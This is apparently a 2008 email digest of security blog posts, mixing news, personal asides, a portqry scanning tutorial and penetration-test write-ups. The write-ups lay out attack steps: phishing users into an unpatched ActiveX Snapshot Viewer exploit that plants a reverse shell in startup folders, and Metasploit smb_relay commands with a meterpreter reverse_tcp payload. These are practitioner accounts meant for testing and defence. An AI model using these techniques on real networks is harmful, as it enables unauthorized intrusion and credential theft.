Posted: 30 Jul 2008 07:12 AM CDT
I seriously need to address a few blog postings that I have in the can. They have been languishing for a couple weeks now and I hope I can get them posted this weekend. I hope everyone has a great day!
Click here to subscribe to Liquidmatrix Security Digest!.
And now, the news…
Posted: 30 Jul 2008 07:03 AM CDT
This problem with Trend Micro was issued yesterday.
I can only imagine that this same problem exists in Symantec’s antivirus.
Posted: 30 Jul 2008 06:32 AM CDT
The last ditch effort by McKinnon to avoid extradition in the UK has failed. Now, his lawyers are taking the case to the EU courts.
Well, of course they will make an example of him. They have to be sure to please/protect their alien masters.
Posted: 29 Jul 2008 11:35 PM CDT
I’m back from a five day trip home and I didn’t come back to a good situation. My 9.5 year old Rottweiler, Vince, is not in good shape. I moved up his appointment for his vaccinations from Friday to today and that was not a pleasant visit. While they did the correct thing by telling me “Let’s wait to see what his lab work shows” their body language told a completely different message. I get to make the dreaded call in the morning to find out the results.
Anywho…a couple of things from the past handful of days:
Cuil blows. The results page is about as difficult to read as an organic chemistry text book.
The proper way to reset the password for a Microsoft Cluster Server service account is not to do it via the “Services” MMC. From the command line: cluster /cluster:clustername /changepassword:password (KB305813)
That’s all I got. Bump…OUT!
Posted: 29 Jul 2008 05:03 PM CDT
Scanning once you are on the LAN can pose a problem. Nmap requires installing pcap and usually an interactive install (metacab is an option depending on scope) and some AV's will flag on those types of things (which is understandable). Since there is no native scanning capability in windows you are force to either install something or upload a standalone binary. Foundstone's scanline is one option but its not one of my favorites. You can write your own and upload that but I'd hate to have some custom code submitted to some AV vendor by some motivated admin. Or you can upload Microsoft's portqry.
C:\>portqry -n server1.company.com -e 3389
Querying target system called:
Attempting to resolve name to IP address...
Name resolved to 10.1.1.1
TCP port 3389 (unknown service): LISTENING
Checking out the KB article on portqry will give you some of its more useful features.
Some fun options are its ability to send default ldap queries:
portqry -n myserver -p udp -e 389
UDP port 389 (unknown service): LISTENING or FILTERED
Sending LDAP query to UDP port 389...
LDAP query response:
currentdate: 12/13/2003 05:42:40 (unadjusted GMT)
dsServiceName: CN=NTDS Settings,CN=myserver,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=domain,DC=example,DC=com
======== End of LDAP query response ========
UDP port 389 is LISTENING
portqry -n 192.168.1.20 -e 1434 -p udp
You receive the following output:
Querying target system called:
UDP port 1434 (ms-sql-m service): LISTENING or FILTERED
Sending SQL Server query to UDP port 1434...
==== End of SQL Server query response ====
UDP port 1434 is LISTENING
It also does snmp queries and ISA queries and evidently RPC end-point mapping as well.
There are other fun features and the localhost options are worth looking into as well.
Some of the not so fun stuff. No randomizing ports. You can do an ordered list or ranges but no random. ONLY ONE HOST AT A TIME :-( but that's what batch files are for.
If anyone else is using this for pentests please let me know your thoughts.
Additional information on metacab: http://www.phx2600.org/forum/viewtopic.php?t=951&start=0
Posted: 29 Jul 2008 03:31 PM CDT
Posted: 29 Jul 2008 02:44 PM CDT
The combination of the lobbying topic in the last podcast, Joe Weiss talking about a blue ribbon panel to advise the next President, and chats with team members have made me think about this a lot over the last week - - and I still don’t have an answer that I believe in with any conviction.
I’m having difficulty thinking of a single area in information technology where Congress has gotten involved to achieve a goal and had success. There have been some successes due to unintentional consequences, but could they pass a law or laws with the aim of improving control system cyber security and actually achieve that?
Maybe one could argue giving FERC responsibility for cyber security in the bulk electric system will increase security, but it is unclear if that has had a positive impact on the NERC CIP efforts that were already in progress pre-legislation.
So enough waffling . . . if I were an uber-powerful lobbyist whose sole goal was to improve control system cyber security I would advise Congress to credibly threaten industries with regulation if they did not self-regulate, set benchmarks or certification programs, etc. This would involve having hearings, drafting legislation, and being in a position to regulate if industry groups did not step up. At the same time make it clear that legislation is necessary only if private industry is not addressing security.
What would you do?
This posting includes an audio/video/photo media file: Download Now
Posted: 29 Jul 2008 02:00 PM CDT
Another off-topic post.
They say when you are frustrated, especially with someone in an email dialog, write-delete-rewrite. That means write the reply that you want to write, chock full of expletives and politically incorrect things you really want to say, and then delete it. Once you are finished with that cleansing process, start from scratch, writing the politically correct version of your reply. This has always been effective for me and kept me out of trouble.
One problem is I never delete anything. Quite the opposite- I save everything. Some of the best stuff I have ever written falls into this write-delete-rewrite category, only with the delete portion omitted. I ran across several examples this evening and some of them are really pretty funny … and completely inappropriate for public consumption. Still, I found a particularly large set of letters dedicated to one individual who was so profoundly dysfunctional and so exceptionally bad at his core set of responsibilities that I created a small tome in his honor. This particular person was “in sales”, despite not really ever having sold anything. And while we expect some degree of friction between sales and development (and I am sure some of you in marketing, product development, & engineering can relate), I have never before or since seen anything this profound. Over 20+ years in this profession, from big companies to small, there is one clear ‘winner’ in the category of utter failure.
But over time, the more I looked at the body of dysfunction as a whole, the more I realized the practiced magnificence of the art of not-selling that he had mastered. If you view this as a master practicing his craft, you can almost admire his skill in avoiding the basic set of job requirements on the path towards organizational destruction.
I am starting to wonder if I should turn these into a book on how to not sell because some items are truly special. Sort of an equivalent to Anti-patterns in software development, only as a sales management “do not” list. I have broken down some of the categories into the following chapters:
Do you think I have enough for a complete book?
Posted: 29 Jul 2008 01:11 PM CDT
However, the .zip file format attachment is a Trojan horse that steals information, including keystrokes, from the infected Windows PC and transmits that data to a server hosted in Russia, according to McAfee threat researcher Craig Schmugar. McAfee has pegged the malware as "Spy-Agent.bw," but other security firms have given it different names. For example, Symantec Corp. has labeled the same Trojan horse as "Infostealer.Monstres."It doesn't appear that the message hasn't been directed at American Airlines yet but I wouldn't bet against seeing them withing a day or two if the spam campain is successful. I'll update this blog if more details become available.
Posted: 29 Jul 2008 12:57 PM CDT
Oh, this is not good.
Posted: 28 Jul 2008 11:53 PM CDT
Posted: 28 Jul 2008 11:11 PM CDT
I saw this post on Hexesec the other day that made me think about all the skill's that when you put them together could make one kick ass penetration testing team. Note that this is a pretty large list of skills that would be difficult if not impossible for one person to master. However, it gives you an idea of the various skill sets that should be required for a robust, high caliber team.
As a pentester you should be familiar with most of these areas, meaning, you should have working knowledge at a minimum. Of course, reverse engineering and vulnerability development may not be everyone's forte...but take for example the web application pentester. Reverse engineering and vulnerability development is a skill that can be learned (especially if you have a deep programming and development background). Same goes for wireless penetration testing as someone with a networking background can easily pick this up. Everyone will still have their own specialty but you can still expand on your existing skills to learn new ones.
What's the point? The more you and your team learn the more valuable you become to your organization, clients and your own career.
Posted: 28 Jul 2008 12:18 PM CDT
Once you’ve done something a few times, you learn what works well and what doesn’t. This is true for a lot of things in life and has certainly proven to be the case for the Bandolier audit file development process. The big lesson learned for Bandolier: vendor participation in the audit file development is extremely helpful to produce the most effective set of checks.
We’ve always known that getting vendor support for the audit files would be a key factor in asset owner adoption. In case you don’t know, the industry tends to follow application vendor recommendations religiously and depends heavily on a their blessing for any changes or security enhancements.
I think the surprise for us was the difference in the amount of information we are able to glean in a vendor’s lab (or at least having access to their security talent) versus just visiting an asset owner’s site. A good case in point was the assessment we did for the Telvent OASyS DNA application. They take security very seriously and have been incredibly cooperative in providing resources. In the on-site lab where we did our assessment, they had a complete environment that included a Windows domain controller and each component of their system for which we agreed to produce audit files. Within just a couple of days, many of the checks you’ll find in the OASyS DNA audit file were already developed. This is a direct result of having time to test the checks as we developed them and having the resources available to answer questions along the way. Asset owners do not always have the ability to provide this level of support and in most cases the window of time you have to work with their test or backup servers is limited.
That said, we have a handful of asset owner partners that have helped us from the beginning of the project and we cannot thank them enough. In many cases they have helped us get started or encouraged their vendors to participate. Fortunatlely for everyone, nearly all have agreed to participate. I’ll be announcing those and the final list of Bandolier audit files at PCSF Annual Meeting next month.
Posted: 28 Jul 2008 08:09 AM CDT
Posted: 27 Jul 2008 01:49 PM CDT
So last assessment I got caught on the first internal port scan. Seems that all the internal routing was done via static routes so when I tried to scan a subnet that wasn't being used those packets would hit the firewall and then create a syslog error which in turn would display on the big TV in the NOC. Bummer for me...of course I didn't know this at the time, I just knew they saw me.
Second try. I had 2 class B's to look at so I took one of the shells from the snapshot viewer exploit and had it ping .0 of every class C in the network range. Whatever replied I took as a "good" subnet and if it didn't I marked it as not having anything listening and removed it from subsequent scans. Did I miss some boxes? Probably...didn't matter in this case.
Armed with my new ranges, minus off limit ones and dead ones, I started a new nmap scan looking for just a few ports that I had exploits for and let it roll at a blistering T2 pace. It did its thing and finished like 40 hours later and then I did my thing trying to do some manual enumeration and exploitation.
I upped the intensity as the week went on and never had any other trouble or any of my "worker bees" taken off line for misbehaving. So all was good.
At the outbrief it was determined that I found a fatal flaw with their system that there was no internal IDS monitoring for suspicious activity on the LAN. Had their been I probably would have been seen again but they had figured that anyone getting into the network would make the same mistake I had made the first time and scan or try to exploit non-used networks and they would catch them. I lucked out that 1) my ping sweep wasn't logged (should have been) or wasn't noticed after the fact and 2) I had more than one box on the LAN...I figured it was 50/50 that I would get seen with the ping sweep and worst case it would lead back to one of their boxes and not mine.
So what's the point? You need something watching your internal network even if its for the straight up blatant shit that could be happening. Had something been in place they would have definitely caught later port scans, enumeration, and exploit attempts.
Posted: 27 Jul 2008 12:56 PM CDT
g0ne has a horseshoe, I never get as lucky as he did/does on his pentests. You can read about his latest one here.
I on the other hand always seem to have to work for it. In addition to my little snapshotviewer code (previous post) I threw in a smb_relay attack via metasploit. This was to see if I could get lucky and catch some users doing the wrong thing like browsing the net or clicking on links in emails with admin credentials and to leverage our foothold we had gained with weak physical security (I now had a box on the local network).
If you unfamiliar with the exploit itself, here's the info from the module:
This module will relay SMB authentication requests to another host, gaining access to an authenticated SMB session if successful. If the connecting user is an administrator and network logins are allowed to the target machine, this module will execute an arbitrary payload. To exploit this, the target system must try to authenticate to this module. The easiest way to force a SMB authentication attempt is by embedding a UNC path (\\SERVER\SHARE) into a web page or email message. When the victim views the web page or email, their system will automatically connect to the server specified in the UNC share (the IP address of the system running this module) and attempt to authenticate. Unfortunately, this module is not able to clean up after itself. The service and payload file listed in the output will need to be manually removed after access has been gained. The service created by this tool uses a randomly chosen name and description, so the services list can become cluttered after repeated exploitation. The SMB authentication relay attack was first reported by Sir Dystic on March 31st, 2001 at @lanta.con in Atlanta, Georgia.
Simple enough to execute, start msf as root (needed to bind to 139), select payload, embed smb code into email or website, send email, cross fingers and wait.
The last post asked for code so here you go:
yep, that's some l33t shit right there...
For those of you that are more visual learners, I did a video last year for chicagocon as a demo here --smb_relay with reverse shell.
Issues, and there were some.
1. Most users wont have the permissions to actually create a service and run your payload, that's OK thats what the ActiveX attack was for.
2. Its messy, it leaves registry keys and executables on the box that "someone" will have to clean up.
3. My initial payload was a download and execute, which was supposed to grab the same .exe I was serving up for the ActiveX bug, for whatever reason that wasn't working (don't know why yet) so after a few failed attempts I switched to meterpreter payload. That led to issue 4.
4. With the way the exploit works it creates and calls a service, evidently there are issues with this because the service wont correctly respond to Windows (like status, start, stop) so Windows kills it after a period of time. Around 60 seconds for me. That's a bummer. More info here
The Fix: Thankfully there is a fix, but I found out about it after the fact. Once you select meterpreter as your payload you get a AutoRunScript option.
msf exploit(smb_relay) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(smb_relay) > show advanced
Module advanced options:
Payload advanced options (windows/meterpreter/reverse_tcp):
Name : AutoLoadStdapi
Current Setting: true
Description : Automatically load the Stdapi extension
Name : AutoRunScript
Description : Script to autorun on meterpreter session creation
migrate.rb, located in your meterpreter scripts directory will migrate to lsass by default, this should solve the shell dying on you problem. I haven't tested it though, but someone I trust told me this should solve the problem.
The patch in the above Framework-Hackers post may work as well, I haven't tried that either.
5. After meterpreter not working I moved to the 'ol standby of reverse shells which were stable and stuck around until I did what I needed to do and killed the session.
I didn't get as lucky as g0ne. Turned out that several admins had added their domain user account to the local admin group on their workstation, so while it allowed the exploit to succeed I didn't get any shells with (domain) elevated privs. :-(
Its still a useful (internal) attack vector, add the smb_relay to now being able to most likely point any subdomain to an IP of your choosing with the new baliwicked metasploit auxiliary modules and you can probably pull off a pretty good hack if you have local network access. Gotta love exploitable "features."
Posted: 27 Jul 2008 12:56 PM CDT
Wrapping up a pentest this week and got to do a little "user awareness training" with the current and unpatched ActiveX Control for Microsoft Access Snapshot Viewer exploit. Fsecure has a little writeup on it as well as securityfocus with POC code.
This one is nice because its a auto download exploit. You call the ActiveX control and it downloads the file you specify to the location you specify. This is a great exploit from a user training perspective because you can make the binary as benign or dangerous as you want. I of course shoved a reverse shell out over FBP (firewall bypass protocol aka TCP 443).
Delivery is simple enough, you create an email with a link (see my metagoofil post if you need help gathering those emails) and ask politely for users with elevated permissions on the network to click on it. You embed snapshot viewer code in that page, point the download location to somewhere fun like all users/startup, and tail -f /apache/access.log to see who browses the site, who enables the activeX control (your users do know better right? or you do have your default IE settings to high right?) and who downloads your binary. If all goes well, after lunch you'll have your shell :-)
POC code from secfocus: http://downloads.securityfocus.com/vulnerabilities/exploits/30114.html
Posted: 26 Jul 2008 03:51 PM CDT
MX Lab intercepts most of the time spam that tries to sell OEM software at very low prices, viagra and all kinds of drugs, replica watches, recommends to by stocks and so on.
From time to time we see spam campaigns that seems to have no real meaning and don’t take you to a web site with some great offers. This weekend we get a lot of this kind of spam. Some examples.
Some other great readings:
This one is very nice. It really makes you think.
Posted: 26 Jul 2008 03:31 PM CDT
A new variant of the ZBot trojan is attached to an email with your contract details. Possible subject lines are:
The contents of the message:
Virus Total permalink and MD5 hash: c0a907c8bf64d60bec0cce934ca60a34
Posted: 26 Jul 2008 08:15 AM CDT
I'm confused about what all the debate is over HD and I)ruid releasing exploit code.
Every time there is a new vulnerability WITHOUT code everyone wants to debate and bitch about the "real impact" because there is no exploit code. But as soon as exploit code comes out all the bloggers and security people get to do the "Patch Now!" post. SO, if the vulnerability is indeed as serious as people say it is...You should all be kissing HD's and I)ruid's asses for throwing out the ammunition to get the serious vulnerability patched in hurry.
Is the average fresh CEH graduate script kiddie going to pwn the internet with this aux module? Hell no. After they get a domain poisoned, they still have to launch some sort of client side attack, deliver some malware that won't get flagged by AV, secure the box, and manage all the bots. Is that realistic for the average "script kiddie"? I don't think so.
Maybe a real bad guy can make that happen, but to think that "real bad guys" didn't already have this exploit after all the talk about it is just plain asinine.
I'm personally glad i have at least another quarter of job security, this kind of fear mongering is always great for job security and buying new toys.
Richard Bejtlich wrote up a similar but better response to the issue: http://taosecurity.blogspot.com/2008/07/dns-and-cyber-tardis-problem.html
Good writeup on the verizon security blog about the issue and possible scenarios.
Posted: 26 Jul 2008 12:44 AM CDT
This is the most rational, well thought out and emotionless analysis of the DNS vulnerability I have read (here) - kudos to Peter Tippet and Russ Cooper from Verizon for using the Art of Security (here) and drop kicking the FUD back to where it belongs, a 1950’s Roger Corman B-Movie.
|You are subscribed to email updates from Black Hat Security Bloggers Network |
To stop receiving these emails, you may unsubscribe now.
|Email Delivery powered by FeedBurner|
|Inbox too full? Subscribe to the feed version of Black Hat Security Bloggers Network in a feed reader.|
|If you prefer to unsubscribe via postal mail, write to: Black Hat Security Bloggers Network, c/o FeedBurner, 20 W Kinzie, 9th Floor, Chicago IL USA 60610|